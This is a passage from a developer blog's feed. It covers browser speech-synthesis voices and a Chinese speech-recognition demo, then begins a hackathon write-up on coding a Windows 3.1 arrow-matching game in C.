&lt;p&gt;He mentioned that it might be because Chrome checks Google&apos;s servers for additional languages. So I tested this with the available browsers I had on hand, namely Chrome, Firefox and Safari, both with network connectivity and without.&lt;/p&gt;
&lt;p&gt;With or without connectivity, Firefox and Safari return the same list of voices. Fun fact, Safari includes 2 “Daniel”s, which is the &lt;em&gt;en-GB&lt;/em&gt; voice, one of which is premium, whatever that means.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;/* Chrome&apos;s Daniel */
{
  default: true,
  lang: &amp;quot;en-GB&amp;quot;,
  localService: true,
  name: &amp;quot;Daniel&amp;quot;,
  voiceURI: &amp;quot;Daniel&amp;quot;
}

/* Firefox&apos;s Daniel */
{
  default: true,
  lang: &amp;quot;en-GB&amp;quot;,
  localService: true,
  name: &amp;quot;Daniel&amp;quot;,
  voiceURI: &amp;quot;urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel.premium&amp;quot;
}

/* Safari&apos;s Daniel */
{
  default: true
  lang: &amp;quot;en-GB&amp;quot;
  localService: true
  name: &amp;quot;Daniel&amp;quot;
  voiceURI: &amp;quot;com.apple.speech.synthesis.voice.daniel.premium&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without connectivity, Chrome returns the same list as Firefox, but with connectivity, it returns an additional 19 voices, bringing the option list up to 66. Those voices have &lt;code&gt;localService&lt;/code&gt; marked &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;/* only show the voice list drop down if there are results */
docBody.style.setProperty(&amp;quot;--display&amp;quot;, &amp;quot;block&amp;quot;);
/* populate the select with available voices as options */
populateVoiceList();
speechSynthesis.addEventListener(&amp;quot;voiceschanged&amp;quot;, function () {
  populateVoiceList();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then need to create a new &lt;code&gt;SpeechSynthesisUtterance()&lt;/code&gt; instance using its constructor, with the text from the speech recognition results as a parameter. If people want to change the voice used to speak the result, they can do so by selecting the available voices.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const responseForm = document.getElementById(&amp;quot;hearResponse&amp;quot;);
responseForm.addEventListener(
  &amp;quot;submit&amp;quot;,
  function (event) {
    event.preventDefault();
    const select = document.getElementById(&amp;quot;pickVoice&amp;quot;);
    speechSynthesis.cancel();
    const utterStuff = new SpeechSynthesisUtterance(result);
    const selectedVoice = select.selectedOptions[0].getAttribute(&amp;quot;data-name&amp;quot;);
    voices.forEach(function (voice) {
      if (voice.name === selectedVoice) {
        utterStuff.voice = voice;
      }
    });
    speechSynthesis.speak(utterStuff);
  },
  false
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This would take into account the choice of voice to be used to speak the results, and finally the &lt;code&gt;speak()&lt;/code&gt; method would be called with the &lt;code&gt;SpeechSynthesisUtterance&lt;/code&gt; instance passed into it as a parameter.&lt;/p&gt;
&lt;h2&gt;What about non-English languages?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://cloud.google.com/speech-to-text/docs/languages&quot;&gt;Cloud Speech-to-Text language support&lt;/a&gt; page lists all the languages that it supports, so I suppose it should cover everything on that list. I may be wrong, because I did not verify this.&lt;/p&gt;
&lt;p&gt;I guess there aren&apos;t that many WebSpeech demos around to begin with for now, much less those in languages other than English. But in order to figure things out for myself, I had to build one. The only non-English language I&apos;m fluent in is Chinese, so guess what language the demo is in?&lt;/p&gt;
&lt;p&gt;The code from the CSS colour thing was pretty much reusable for the WebSpeech portion. The most important thing I got out of it was what you set as &lt;code&gt;recognition.lang&lt;/code&gt;, i.e. the string for the &lt;code&gt;lang&lt;/code&gt; attribute of the &lt;code&gt;SpeechRecognition()&lt;/code&gt; instance.&lt;/p&gt;
&lt;p&gt;It took me a bit of Googling before finding this &lt;a href=&quot;https://stackoverflow.com/a/41944922/2873785&quot;&gt;StackOverflow answer&lt;/a&gt; by &lt;a href=&quot;https://github.com/timmhayes&quot;&gt;Timm Hayes&lt;/a&gt;, which had the list of language codes. If you put in a language code that isn&apos;t supported, you will get the &lt;code&gt;no-speech&lt;/code&gt; error message.&lt;/p&gt;
&lt;p&gt;For Chinese, I thought it would be the generic &lt;code&gt;zh&lt;/code&gt; or &lt;code&gt;zh-hans&lt;/code&gt;, but nooooooo.&lt;/p&gt;
&lt;p&gt;If you look at the post, you&apos;ll find that the code for Simplified Chinese was &lt;code&gt;cmn-Hans-CN&lt;/code&gt;, which is what I used in my test demo. Speaking of which, the test demo involves you yelling a zodiac animal name at your browser.&lt;/p&gt;
&lt;p&gt;It&apos;s called &lt;a href=&quot;https://huijing.github.io/talk-zodiac/&quot;&gt;十二生肖&lt;/a&gt; and doesn&apos;t take into account what happens if you don&apos;t say the right thing. Because I haven&apos;t gotten around to that yet. Be accurate, my friends.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/web-speech/zodiac-480.png 480w, /images/posts/web-speech/zodiac-640.png 640w, /images/posts/web-speech/zodiac-960.png 960w, /images/posts/web-speech/zodiac-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/web-speech/zodiac-640.png&quot; alt=&quot;Test demo for Chinese recognition&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/huijing/talk-zodiac&quot;&gt;Source code here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can also tweak the text-to-speech language option list by filtering for the language of choice. This is probably relevant to languages with variants only, or you could try leaving the list unfiltered for interesting results when you mix languages that are non-English.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;voices.forEach(function(voice) {
  const lang = voice.lang;
  if (lang.includes(&apos;zh&apos;)) {
    /* do the option list generation thing */
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This post was supposed to be published long before 2020, but here we are. Life happens, my friends. Anyway, if you speak a non-English language and build something with the WebSpeech API in it, tell me about the results, if you like.&lt;/p&gt;
&lt;p&gt;I&apos;m also pretty curious to see how all my demos work once Firefox switches over to Deep Speech. Exciting times for voice interfaces on the web it seems.&lt;/p&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://wicg.github.io/speech-api/&quot;&gt;Web Speech API Draft Community Group Report&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://wiki.mozilla.org/Web_Speech_API_-_Speech_Recognition&quot;&gt;Web Speech API - Speech Recognition&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API&quot;&gt;MDN: Web Speech API&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API&quot;&gt;Using the Web Speech API&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://github.com/mdn/web-speech-api&quot;&gt;MDN Web Speech API demos&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://flaviocopes.com/speech-synthesis-api/&quot;&gt;The Speech Synthesis API&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://css-tricks.com/using-the-web-speech-api-for-multilingual-translations/&quot;&gt;Using the Web Speech API for Multilingual Translations&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hacks.mozilla.org/2019/12/deepspeech-0-6-mozillas-speech-to-text-engine/&quot;&gt;DeepSpeech 0.6: Mozilla’s Speech-to-Text Engine Gets Fast, Lean, and Ubiquitous&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Building a Windows 3.1 application in 2019</title><link>https://chenhuijing.com/blog/building-a-win31-app-in-2019/</link><guid isPermaLink="true">https://chenhuijing.com/blog/building-a-win31-app-in-2019/</guid><description>Oh, how time flies. A little over 2 years ago, we had the first Super Silly Hackathon, and yesterday we had our third one. In case you&apos;re unfamiliar with the…</description><pubDate>Sat, 11 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Oh, how time flies. A little over 2 years ago, we had the first &lt;a href=&quot;https://supersillyhackathon.sg/&quot;&gt;Super Silly Hackathon&lt;/a&gt;, and yesterday we had our third one. In case you&apos;re unfamiliar with the concept, it is a hackathon for people who want to build anything for no good reason.&lt;/p&gt;
&lt;p&gt;It&apos;s a spin-off the original &lt;a href=&quot;https://stupidhackathon.github.io/&quot;&gt;“SF stupid shit no one needs and terrible ideas hackathon”&lt;/a&gt; but totally local, i.e. maxed-out Singlish. I had been a participant for the first one back in 2017 and somehow emcee-d the second one in 2018.&lt;/p&gt;
&lt;p&gt;The only friend I have who is as interested in 90s computing is &lt;a href=&quot;http://yeokhengmeng.com/&quot;&gt;Kheng Meng&lt;/a&gt;, with whom I&apos;ve collaborated for various retro-computing related projects over the years. We were “Team 486” back in 2017 and in 2019 we became “3.1”.&lt;/p&gt;
&lt;h2&gt;The idea&lt;/h2&gt;
&lt;p&gt;So Kheng Meng pinged me about doing something together for this year&apos;s Super Silly Hackathon around DOS or Windows 3.1, since we already had the hardware for it. Yes, you heard right. In 2019, we have actual hardware running those OSes. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;&lt;/p&gt;
&lt;img src=&quot;/images/posts/ssh-2019/idea.jpg&quot; srcset=&quot;/images/posts/ssh-2019/idea@2x.jpg 2x&quot; alt=&quot;Message thread between Kheng Meng and myself about teaming up for SSH 2019&quot;&gt;
&lt;p&gt;At the time, I was still on the road a lot so I didn&apos;t really think too hard about it. But I happened to download a game called &lt;a href=&quot;https://web.archive.org/web/20191027011952/http://www.mobypixel.com/epicorchestra&quot;&gt;Epic Orchestra&lt;/a&gt; and had the hare-brained idea to try building it on &lt;a href=&quot;https://www.lexaloffle.com/pico-8.php&quot;&gt;PICO8&lt;/a&gt; and getting it to run on The Magic Machine.&lt;/p&gt;
&lt;p&gt;But after a bit of thought, we figured that it would be a bit too ambitious.&lt;/p&gt;
&lt;img src=&quot;/images/posts/ssh-2019/idea2.jpg&quot; srcset=&quot;/images/posts/ssh-2019/idea2@2x.jpg 2x&quot; alt=&quot;Message thread on reconsidering the PICO8 idea&quot;&gt;
&lt;p&gt;The idea to develop a Windows 3.1 application was still do-able though, so we went with that instead. Keeping in mind that I had zero prior knowledge about building anything for Windows 3.1, but Kheng Meng had already &lt;a href=&quot;http://yeokhengmeng.com/2019/12/building-a-new-win-3-1-app-in-2019-part-1-slack-client/&quot;&gt;built a Slack client on Windows 3.1&lt;/a&gt;. So it&apos;s clear who is the reliable one here.&lt;/p&gt;
&lt;h2&gt;The AH-MAZ-ING workflow&lt;/h2&gt;
&lt;p&gt;If you asked me, I thought the app itself was nothing special. It was just matching up, down, left and right when their respective characters showed up on the screen. But the process and hardware setup was most fun and interesting.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ssh-2019/hardware-480.jpg 480w, /images/posts/ssh-2019/hardware-640.jpg 640w, /images/posts/ssh-2019/hardware-960.jpg 960w, /images/posts/ssh-2019/hardware-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ssh-2019/hardware-640.jpg&quot; alt=&quot;4 PCs, a router and a book&quot;&gt;
&lt;p&gt;The setup involved 4 PCs, a router and DA BOOK. Our end goal was to write an application that would run on an actual Windows 3.1 system, which was running on Kheng Meng&apos;s Thinkpad 390e (AKA The Magic Machine)&lt;/p&gt;
&lt;p&gt;We would be writing the code on our modern MacBook Pros. Both Kheng Meng and I used &lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;VS Code&lt;/a&gt; as our editor, and a bit later into the day I suggested we use the &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=MS-vsliveshare.vsliveshare&quot;&gt;Live Share&lt;/a&gt; extension to work on the same file. This worked out really nicely.&lt;/p&gt;
&lt;p&gt;Windows 3.1 is a &lt;a href=&quot;https://en.wikipedia.org/wiki/16-bit&quot;&gt;16-bit operating system&lt;/a&gt;, so our compiler needs to be able to compile to 16-bit. Kheng Meng decided to go with &lt;a href=&quot;https://en.wikipedia.org/wiki/Microsoft_Visual_C%2B%2B&quot;&gt;Microsoft Visual C++&lt;/a&gt; on a Windows 2000 system on VirtualBox to compile the application.&lt;/p&gt;
&lt;p&gt;Modern Macs are unable to communicate with the Windows 3.1 system directly, hence we needed the Windows XP system as a go-between. The Windows XP machine was linked up to the Mac via &lt;a href=&quot;https://en.wikipedia.org/wiki/Samba_(software)&quot;&gt;Samba&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We also had a local LAN (that&apos;s why the router is there), which allowed the Windows XP system and Windows 3.1 system to access the same shared folder. That&apos;s how we got the compiled executable from the Mac through to the Windows 3.1 machine.&lt;/p&gt;
&lt;p&gt;Refer to this handy diagram for a visual overview of what we were doing:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ssh-2019/diagram-480.jpg 480w, /images/posts/ssh-2019/diagram-640.jpg 640w, /images/posts/ssh-2019/diagram-960.jpg 960w, /images/posts/ssh-2019/diagram-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ssh-2019/diagram-640.jpg&quot; alt=&quot;Workflow diagram&quot;&gt;
&lt;h2&gt;The application development process&lt;/h2&gt;
&lt;p&gt;Even though I haven&apos;t written a lot of code with Kheng Meng before, turns out we pair program really well. Zero arguments about variable names (because I heard that&apos;s a thing people argue about) at all. I don&apos;t know how rare that is but I cherish it.&lt;/p&gt;
&lt;p&gt;So the original end goal was a music rhythm game, where you would match key strokes to falling arrows on the screen in time with music. That was a fairly grand end goal, given neither of us were familiar with building games.&lt;/p&gt;
&lt;p&gt;Instead, we started with the very basic of basics. Okay, maybe one little step beyond the basics. Kheng Meng had cloned a scaffold starter, &lt;a href=&quot;https://github.com/TransmissionZero/Win16-Example-Application&quot;&gt;Win16-Example-Application&lt;/a&gt;, that came with &lt;a href=&quot;https://www.transmissionzero.co.uk/computing/win16-apps-in-c/&quot;&gt;a tutorial&lt;/a&gt; on how to build a Win16 GUI application in C.&lt;/p&gt;
&lt;p&gt;Because of the 16-bit nature of our application, we wrote it with the C89 flavour of C. Fun times, my friends. Also, Google was only nominally helpful because this style of application development was literally years before Google and StackOverflow.&lt;/p&gt;
&lt;p&gt;Also, it&apos;s hackathon code, so don&apos;t judge… &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Step 1: Render a character on the application window&lt;/h3&gt;
&lt;p&gt;There was no version control during much of the process so this is really based on my sketchy memory, but I think the first thing we did was try to render some test text on the screen. There are 2 ways to do that, &lt;code&gt;TextOut()&lt;/code&gt; and &lt;code&gt;DrawText()&lt;/code&gt;, and we used &lt;code&gt;TextOut()&lt;/code&gt; first.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;TextOut(hdc, 10, 10, &amp;quot;Test&amp;quot;, 4);
&lt;/code&gt;&lt;/pre&gt;
&lt;img srcset=&quot;/images/posts/ssh-2019/test-480.jpg 480w, /images/posts/ssh-2019/test-640.jpg 640w, /images/posts/ssh-2019/test-960.jpg 960w, /images/posts/ssh-2019/test-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ssh-2019/test-640.jpg&quot; alt=&quot;Rendering the word &apos;test&apos; on a Win16 application&quot;&gt;
&lt;p&gt;The first parameter &lt;code&gt;hdc&lt;/code&gt; refers to device context, that &lt;a href=&quot;http://www.cplusplus.com/forum/windows/64772/&quot;&gt;holds state information&lt;/a&gt; for GDI (graphics device interface) drawing tools. The next 2 are x and y coordinates of the starting position of the string respectively.&lt;/p&gt;
&lt;p&gt;Then we have the pointer to the string, and finally the number of characters in the string. This has to go into the &lt;code&gt;WM_PAINT&lt;/code&gt; label for things to work. Also, the &lt;code&gt;return 0&lt;/code&gt; is required for the program not to crash. I think.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;LRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    HDC hdc;
    PAINTSTRUCT ps;

    switch (msg)
    {
        case WM_PAINT:
        {
            hdc = BeginPaint(hWnd, &amp;amp;ps);
            TextOut(hdc, 10, 10, &amp;quot;Test&amp;quot;, 4);
            return 0;
        }
    }
    return DefWindowProc(hWnd, msg, wParam, lParam);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2: Render 4 arrow characters on the screen&lt;/h3&gt;
&lt;p&gt;To be fair I was supposed to prepare assets like the music file and sprites, but I did not. Life happens. But no matter, because we epitomise the minimal in minimal viable product. Same code, different position.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;TextOut(hdc, 10, 10, &amp;quot;&amp;lt;&amp;quot;, 1);
TextOut(hdc, 20, 10, &amp;quot;&amp;gt;&amp;quot;, 1);
TextOut(hdc, 30, 10, &amp;quot;^&amp;quot;, 1);
TextOut(hdc, 40, 10, &amp;quot;v&amp;quot;, 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;img src=&quot;/images/posts/ssh-2019/arrows.jpg&quot; srcset=&quot;/images/posts/ssh-2019/arrows@2x.jpg 2x&quot; alt=&quot;Rendering arrow characters on the Win16 application&quot;&gt;
&lt;p&gt;If you squint hard at my screenshot, you&apos;ll notice that the up character, which is a caret is tinier than the others. We never did figure out how to change the font size. Oh well.&lt;/p&gt;
&lt;h3&gt;Step 3: Detect keypress in application&lt;/h3&gt;
&lt;p&gt;It&apos;s supposed to be a matching game, right? So the first step to any actual matching is for the application to detect keypresses. Cue DA BOOK.&lt;/p&gt;
&lt;p&gt;I&apos;m generally neutral about using reference books, except that I&apos;ve been so spoiled by search functions in digital that when I flip the index to locate my topic of interest and find the entry labeled as &lt;em&gt;see THIS_OTHER_THING&lt;/em&gt;, I&apos;m like &lt;span class=&quot;kaomoji&quot;&gt;(╯°□°）╯︵ ┻━┻&lt;/span&gt;&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ssh-2019/index-480.jpg 480w, /images/posts/ssh-2019/index-640.jpg 640w, /images/posts/ssh-2019/index-960.jpg 960w, /images/posts/ssh-2019/index-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ssh-2019/index-640.jpg&quot; alt=&quot;Entries in index which say, &apos;see something else&apos;&quot;&gt;
&lt;p&gt;Kheng Meng had set up the application with some debugging functionality by adding a &lt;a href=&quot;https://github.com/yeokm1/falling-arrows-win16/blob/master/smprintf.h&quot;&gt;&lt;em&gt;smprintf.h&lt;/em&gt; file&lt;/a&gt;, modified from &lt;a href=&quot;https://www.menie.org/georges/embedded/small_printf_source_code.html&quot;&gt;Small printf source code&lt;/a&gt; by Georges Menie to include &lt;code&gt;putDebugChar&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;The idiot that I am, instead of running the application via &lt;em&gt;Debug &gt; Go&lt;/em&gt;, I chose to run the executable instead, which means none of my &lt;code&gt;printf&lt;/code&gt; statements got printed anywhere. It took a good extra 45 minutes with Kheng Meng a couple days after the hackathon to figure this out.&lt;/div&gt;
&lt;p&gt;The code to detect a keypress is not too complicated, for example, to detect the left arrow key you need something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;case WM_KEYDOWN:
{
    if (wParam == VK_LEFT)
    {
        printf(&amp;quot;Pressed left\n&amp;quot;);
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we repeated this for the other 3 arrow keys, so we had all four directions covered.&lt;/p&gt;
&lt;h3&gt;Step 4: Render a character every second&lt;/h3&gt;
&lt;p&gt;This next bit required a timer. Here&apos;s where DA BOOK came in handy because we literally copied the relevant function out of it, like how kids used to write games back in the 80s.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ssh-2019/timer-480.jpg 480w, /images/posts/ssh-2019/timer-640.jpg 640w, /images/posts/ssh-2019/timer-960.jpg 960w, /images/posts/ssh-2019/timer-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ssh-2019/timer-640.jpg&quot; alt=&quot;Chapter of book on timers&quot;&gt;
&lt;p&gt;But first, we need to run a timer in our application. DA BOOK had a chapter dedicated to timers, and the gist of things looks something like so (the following just prints the word “Timer” to output every second):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;case WM_CREATE:
{
    printf(&amp;quot;Created\n&amp;quot;);
    SetTimer(hWnd, DROP_SPEED_TIMER, DROP_SPEED, NULL);
    return 0;
}

case WM_TIMER:
{
    switch(wParam)
    {
        case DROP_SPEED_TIMER:
        {
            printf(&amp;quot;Timer\n&amp;quot;);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We arbitrarily set the timer to 1000ms so it ticked every second. Then, we wanted to try to render stuff every second, so in this case, we tried it with an arrow every second by updating the position of the character per tick.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;case WM_TIMER:
{
    printf(&amp;quot;Timer\n&amp;quot;);
    position += 20;
    InvalidateRect(hWnd, NULL, FALSE);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The variable &lt;code&gt;position&lt;/code&gt; was declared somewhere near the top of the file, but anyway, &lt;code&gt;InvalidateRect()&lt;/code&gt; is what triggers &lt;code&gt;WM_PAINT&lt;/code&gt; to run every interval of the timer, thus painting a new arrow at a new position on the screen per tick.&lt;/p&gt;
&lt;h3&gt;Step 5: Render a single different character every second&lt;/h3&gt;
&lt;p&gt;The next thing to try was to make a different arrow show up per tick. For that, we created another variable to hold a number that would loop around from 0 to 3. Then wrote a switch statement such that a different arrow character would be painted per tick.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;case WM_TIMER:
{
    printf(&amp;quot;Timer\n&amp;quot;);
    arrow = (arrow + 1) % 4;
    InvalidateRect(hWnd, NULL, FALSE);
    return 0;
}

case WM_PAINT:
{
    hdc = BeginPaint(hWnd, &amp;amp;ps);
    SetRect(&amp;amp;targetRect, position, 50, 110, 440);

    switch (arrow)
    {
        case 0:
        {
            DrawText(hdc, &amp;quot;&amp;lt;&amp;quot;, 1, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
            break;
        }
        case 1:
        {
            DrawText(hdc, &amp;quot;&amp;gt;&amp;quot;, 1, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
            break;
        }
        case 2:
        {
            DrawText(hdc, &amp;quot;^&amp;quot;, 1, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
            break;
        }
        case 3:
        {
            DrawText(hdc, &amp;quot;v&amp;quot;, 1, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
            break;
        }
    }
    EndPaint(hWnd, &amp;amp;ps);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At some point we added a random number generator so the arrow characters were printed at random, as well as at random time intervals, but refactored that out because it wasn&apos;t relevant to our end goal of falling arrows.&lt;/p&gt;
&lt;h3&gt;Step 6: Render characters falling down the screen&lt;/h3&gt;
&lt;p&gt;Speaking of falling arrows, once we figured out most of the painting bits, the next thing was to create the effect of falling arrows down the window.&lt;/p&gt;
&lt;p&gt;We&apos;re not sure if this is the correct way to do things, but we decided to go with having a fixed array of rectangles evenly distributed down the window.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int fallingArrows[ARROW_COORD] = {0};
int arrowPositionForIndex[ARROW_COORD] = {380, 360, 340, 320, 300, 280, 260, 240, 220, 200, 180, 160, 140, 120, 100, 80, 60, 40, 20};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The arrows in these rectangles would be repainted per tick of the timer. And we would generate a new character at the top of the array and shift the rest of the values up the index. The index of each character would be tied to their y-coordinates on the window.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;case WM_PAINT:
{
    hdc = BeginPaint(hWnd, &amp;amp;ps);

    for (i = 0; i &amp;lt; ARROW_COORD; i++)
    {
        yCoord = arrowPositionForIndex[i];
        SetRect(&amp;amp;targetRect, 90, yCoord, 110, 440);

        switch(fallingArrows[i])
        {
            case 0:
            {
                DrawText(hdc, &amp;quot;&amp;lt;&amp;quot;, 1, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }

            case 1:
            {
                DrawText(hdc, &amp;quot;&amp;gt;&amp;quot;, 1, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }

            case 2:
            {
                DrawText(hdc, &amp;quot;^&amp;quot;, 1, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }

            case 3:
            {
                DrawText(hdc, &amp;quot;V&amp;quot;, 1, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }

            default:
            {
                DrawText(hdc, &amp;quot;   &amp;quot;, 3, &amp;amp;targetRect, DT_CENTER | DT_NOCLIP);
                break;
            }
        }
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s quite hacky, but this IS a hackathon, so…&lt;/p&gt;
&lt;p&gt;There was also the issue of how we were unable to get the application to play audio, so the hopes of building a music-backed rhythm game went right out the window, and we had to be content with just the keypress matching part of things.&lt;/p&gt;
&lt;p&gt;To make things less boring and predictable, we didn&apos;t want arrows to be generated every second. There would be instances where no arrows were generated, i.e. blank rectangle, so you wouldn&apos;t press any keys then.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;for (i = 0; i &amp;lt; ARROW_COORD - 1; i++)
{
    fallingArrows[i] = fallingArrows[i + 1];
}

fallingArrows[ARROW_COORD - 1] = rand() % 8;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After some trial and error, we figured that a modulo of 8 generated just enough blanks to keep things interesting.&lt;/p&gt;
&lt;h3&gt;Step 7: Match keypress to character at specific position&lt;/h3&gt;
&lt;p&gt;The new point of our game was to press the appropriate arrow key when the character appeared in a specific rectangle near the bottom of the window.&lt;/p&gt;
&lt;p&gt;For that, we needed to draw a “target” rectangle to indicate when the player ought to press the respectively keys. Back to DA BOOK for advice on how to do that.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/ssh-2019/rect-480.jpg 480w, /images/posts/ssh-2019/rect-640.jpg 640w, /images/posts/ssh-2019/rect-960.jpg 960w, /images/posts/ssh-2019/rect-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/ssh-2019/rect-640.jpg&quot; alt=&quot;Section in DA BOOK on rendering rectangles&quot;&gt;
&lt;p&gt;We needed to add an &lt;code&gt;hBrush&lt;/code&gt; and use the &lt;code&gt;FrameRect()&lt;/code&gt; function to draw the target rectangle. These were added to the &lt;code&gt;WM_PAINT&lt;/code&gt; section of the application.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;case WM_PAINT:
{
    hBrush = CreateSolidBrush(RGB(255, 0, 0));
    SetRect(&amp;amp;targetRect, 90, 358, 110, 378);
    FrameRect(hdc, &amp;amp;targetRect, hBrush);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;fallingArrows&lt;/code&gt; array would also come in handy for this particular functionality we wanted of keypress matching.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;case WM_KEYDOWN:
{
    if (wParam == VK_LEFT)
    {
        if (fallingArrows[1] == 0)
        {
            printf(&amp;quot;Left Hit&amp;quot;);
        }
        else
        {
            printf(&amp;quot;Left Miss&amp;quot;);
        }
    }
    else if (wParam == VK_RIGHT)
    {
        if (fallingArrows[1] == 1)
        {
            printf(&amp;quot;Right Hit&amp;quot;);
        }
        else
        {
            printf(&amp;quot;Right Miss&amp;quot;);
        }
    }
    else if (wParam == VK_UP)
    {
        if (fallingArrows[1] == 2)
        {
            printf(&amp;quot;Up Hit&amp;quot;);
        }
        else {
            printf(&amp;quot;Up Miss&amp;quot;);
        }
    }
    else if (wParam == VK_DOWN)
    {
        if(fallingArrows[1] == 3){
            printf(&amp;quot;Down Hit&amp;quot;);
        } else {
            printf(&amp;quot;Down Miss&amp;quot;);
        }
    }
    else {
        printf(&amp;quot;Arrow keys only la&amp;quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;d think most of the work would be done by now, but no, because every game needs a scoring mechanism and this turned out to be a bit more tricky than we anticipated.&lt;/p&gt;
&lt;h3&gt;Step 8: Add scoring mechanism&lt;/h3&gt;
&lt;p&gt;If you think about it, there are 2 possible results from a keypress. You either “Hit” or “Miss”. So at first, we figured a boolean would do, &lt;code&gt;1&lt;/code&gt; for Hit, &lt;code&gt;0&lt;/code&gt; for Miss. Easy.&lt;/p&gt;
